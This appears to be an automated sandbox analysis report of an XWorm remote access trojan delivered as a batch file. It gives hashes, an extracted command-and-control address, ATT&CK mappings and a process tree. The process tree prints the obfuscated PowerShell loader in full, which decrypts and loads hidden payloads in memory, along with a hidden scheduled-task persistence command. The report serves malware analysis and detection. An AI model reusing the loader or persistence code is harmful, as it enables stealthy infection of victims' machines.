xworm | 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed

Analysis

max time kernel
132s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
07/06/2024, 09:09

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General

Target
Sahara.bat
Size 304KB
Sample240607-k4fz2afa92
SHA256 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed
MD5 0315e971e239cdd0ddc7e6b6a69b588f
SHA1 ebc3c22a51878f367b9be9685d7782ec9f8daf58
SHA512 0b11a2f5f5ffed7c67812771464a8edd47440bf6ffb85d7a6d29cbc12f32af5a4f180cd3d479ba4268f16c96432538bdfb86cb36ff73877e69fd822aaa7e95c5
SSDEEP 6144:AKJ35IN40Z4VEzlQOwTEuAhKEyvXeNFAr47U8p7zZUEoPLoTVqrkGyAyaa/W8ymy:AKJpcW0cE3hGvXgAZAzDokTcMBaaO3my
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

politics-cathedral.gl.at.ply.gg:13199

Attributes

install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral3/memory/2296-49-0x00000284DBC40000-0x00000284DBC5A000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
35	2296	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2296	powershell.exe
4784	powershell.exe
1520	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4784	powershell.exe
4784	powershell.exe
4784	powershell.exe
1520	powershell.exe
1520	powershell.exe
1520	powershell.exe
2296	powershell.exe
2296	powershell.exe
2296	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4784	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeIncreaseQuotaPrivilege	1520	powershell.exe
Token: SeSecurityPrivilege	1520	powershell.exe
Token: SeTakeOwnershipPrivilege	1520	powershell.exe
Token: SeLoadDriverPrivilege	1520	powershell.exe
Token: SeSystemProfilePrivilege	1520	powershell.exe
Token: SeSystemtimePrivilege	1520	powershell.exe
Token: SeProfSingleProcessPrivilege	1520	powershell.exe
Token: SeIncBasePriorityPrivilege	1520	powershell.exe
Token: SeCreatePagefilePrivilege	1520	powershell.exe
Token: SeBackupPrivilege	1520	powershell.exe
Token: SeRestorePrivilege	1520	powershell.exe
Token: SeShutdownPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeSystemEnvironmentPrivilege	1520	powershell.exe
Token: SeRemoteShutdownPrivilege	1520	powershell.exe
Token: SeUndockPrivilege	1520	powershell.exe
Token: SeManageVolumePrivilege	1520	powershell.exe
Token: 33	1520	powershell.exe
Token: 34	1520	powershell.exe
Token: 35	1520	powershell.exe
Token: 36	1520	powershell.exe
Token: SeIncreaseQuotaPrivilege	1520	powershell.exe
Token: SeSecurityPrivilege	1520	powershell.exe
Token: SeTakeOwnershipPrivilege	1520	powershell.exe
Token: SeLoadDriverPrivilege	1520	powershell.exe
Token: SeSystemProfilePrivilege	1520	powershell.exe
Token: SeSystemtimePrivilege	1520	powershell.exe
Token: SeProfSingleProcessPrivilege	1520	powershell.exe
Token: SeIncBasePriorityPrivilege	1520	powershell.exe
Token: SeCreatePagefilePrivilege	1520	powershell.exe
Token: SeBackupPrivilege	1520	powershell.exe
Token: SeRestorePrivilege	1520	powershell.exe
Token: SeShutdownPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeSystemEnvironmentPrivilege	1520	powershell.exe
Token: SeRemoteShutdownPrivilege	1520	powershell.exe
Token: SeUndockPrivilege	1520	powershell.exe
Token: SeManageVolumePrivilege	1520	powershell.exe
Token: 33	1520	powershell.exe
Token: 34	1520	powershell.exe
Token: 35	1520	powershell.exe
Token: 36	1520	powershell.exe
Token: SeIncreaseQuotaPrivilege	1520	powershell.exe
Token: SeSecurityPrivilege	1520	powershell.exe
Token: SeTakeOwnershipPrivilege	1520	powershell.exe
Token: SeLoadDriverPrivilege	1520	powershell.exe
Token: SeSystemProfilePrivilege	1520	powershell.exe
Token: SeSystemtimePrivilege	1520	powershell.exe
Token: SeProfSingleProcessPrivilege	1520	powershell.exe
Token: SeIncBasePriorityPrivilege	1520	powershell.exe
Token: SeCreatePagefilePrivilege	1520	powershell.exe
Token: SeBackupPrivilege	1520	powershell.exe
Token: SeRestorePrivilege	1520	powershell.exe
Token: SeShutdownPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeSystemEnvironmentPrivilege	1520	powershell.exe
Token: SeRemoteShutdownPrivilege	1520	powershell.exe
Token: SeUndockPrivilege	1520	powershell.exe
Token: SeManageVolumePrivilege	1520	powershell.exe
Token: 33	1520	powershell.exe
Token: 34	1520	powershell.exe
Token: 35	1520	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 764 wrote to memory of 4784	764	cmd.exe	93
PID 764 wrote to memory of 4784	764	cmd.exe	93
PID 4784 wrote to memory of 1520	4784	powershell.exe	95
PID 4784 wrote to memory of 1520	4784	powershell.exe	95
PID 4784 wrote to memory of 4772	4784	powershell.exe	101
PID 4784 wrote to memory of 4772	4784	powershell.exe	101
PID 4772 wrote to memory of 1812	4772	WScript.exe	102
PID 4772 wrote to memory of 1812	4772	WScript.exe	102
PID 1812 wrote to memory of 2296	1812	cmd.exe	104
PID 1812 wrote to memory of 2296	1812	cmd.exe	104

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Sahara.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qqu4mOiag/SUfmMB6hLG+62Qf92QTsfQyXogUMpPguE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/gn9tedt3Eg5JrrOt3xo6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KmtJB=New-Object System.IO.MemoryStream(,$param_var); $bbJvQ=New-Object System.IO.MemoryStream; $sqWeN=New-Object System.IO.Compression.GZipStream($KmtJB, [IO.Compression.CompressionMode]::Decompress); $sqWeN.CopyTo($bbJvQ); $sqWeN.Dispose(); $KmtJB.Dispose(); $bbJvQ.Dispose(); $bbJvQ.ToArray();}function execute_function($param_var,$param2_var){ $sUVBJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tpSQd=$sUVBJ.EntryPoint; $tpSQd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Sahara.bat';$poAvc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Sahara.bat').Split([Environment]::NewLine);foreach ($bJGRI in $poAvc) { if ($bJGRI.StartsWith(':: ')) { $UJcon=$bJGRI.Substring(3); break; }}$payloads_var=[string[]]$UJcon.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_359_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_359.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1520
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_359.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4772
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_359.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1812
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qqu4mOiag/SUfmMB6hLG+62Qf92QTsfQyXogUMpPguE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/gn9tedt3Eg5JrrOt3xo6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KmtJB=New-Object System.IO.MemoryStream(,$param_var); $bbJvQ=New-Object System.IO.MemoryStream; $sqWeN=New-Object System.IO.Compression.GZipStream($KmtJB, [IO.Compression.CompressionMode]::Decompress); $sqWeN.CopyTo($bbJvQ); $sqWeN.Dispose(); $KmtJB.Dispose(); $bbJvQ.Dispose(); $bbJvQ.ToArray();}function execute_function($param_var,$param2_var){ $sUVBJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tpSQd=$sUVBJ.EntryPoint; $tpSQd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_359.bat';$poAvc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_359.bat').Split([Environment]::NewLine);foreach ($bJGRI in $poAvc) { if ($bJGRI.StartsWith(':: ')) { $UJcon=$bJGRI.Substring(3); break; }}$payloads_var=[string[]]$UJcon.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2296

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4092,i,11266875042087428226,16669718873272757238,262144 --variations-seed-version --mojo-platform-channel-handle=4180 /prefetch:8
1⤵
PID:1632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b
MD5 f8d49a4af7a844bfc7247d5670def557
SHA1 26ae0ce194a77a7a1887cf93741293fdfa6c94c4
SHA512 9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c
MD5 SHA1 SHA512

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__PSScriptPolicyTest_mbvzru2p.pbm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mbvzru2p.pbm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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startup_str_359.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_359.bat
Size 304KB
SHA256 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed
MD5 0315e971e239cdd0ddc7e6b6a69b588f
SHA1 ebc3c22a51878f367b9be9685d7782ec9f8daf58
SHA512 0b11a2f5f5ffed7c67812771464a8edd47440bf6ffb85d7a6d29cbc12f32af5a4f180cd3d479ba4268f16c96432538bdfb86cb36ff73877e69fd822aaa7e95c5
SSDEEP 6144:AKJ35IN40Z4VEzlQOwTEuAhKEyvXeNFAr47U8p7zZUEoPLoTVqrkGyAyaa/W8ymy:AKJpcW0cE3hGvXgAZAzDokTcMBaaO3my
MD5 SHA1 SHA512 SSDEEP

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startup_str_359.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_359.vbs
Size 115B
SHA256 e81af1b5cc744746cedbcd4bee43e14d01ec57252ac3315f901168573cb4c713
MD5 cfb08c9ad6421454108e224343a63e07
SHA1 b512dfd96fd2e210716d3fcf75cdca13a3c94719
SHA512 0ee724550f3f29c870b64d0c6cf88b62f07b729ba501a712ad381f066b48de46eea5e8d8fa20b81e801d0db9436d9817260a17aa834bac41473a8e6f39e7253d
MD5 SHA1 SHA512

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memory/1520-22-0x00007FFE9F3F0000-0x00007FFE9FEB1000-memory.dmp

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memory/1520-16-0x00007FFE9F3F0000-0x00007FFE9FEB1000-memory.dmp

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memory/1520-27-0x00007FFE9F3F0000-0x00007FFE9FEB1000-memory.dmp

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memory/1520-30-0x00007FFE9F3F0000-0x00007FFE9FEB1000-memory.dmp

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memory/2296-49-0x00000284DBC40000-0x00000284DBC5A000-memory.dmp

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memory/4784-14-0x000002307B6D0000-0x000002307B70C000-memory.dmp

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memory/4784-0-0x00007FFE9F3F3000-0x00007FFE9F3F5000-memory.dmp

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memory/4784-13-0x00000230791C0000-0x00000230791C8000-memory.dmp

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memory/4784-12-0x00007FFE9F3F0000-0x00007FFE9FEB1000-memory.dmp

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memory/4784-11-0x00007FFE9F3F0000-0x00007FFE9FEB1000-memory.dmp

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memory/4784-1-0x0000023079140000-0x0000023079162000-memory.dmp

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memory/4784-50-0x00007FFE9F3F0000-0x00007FFE9FEB1000-memory.dmp

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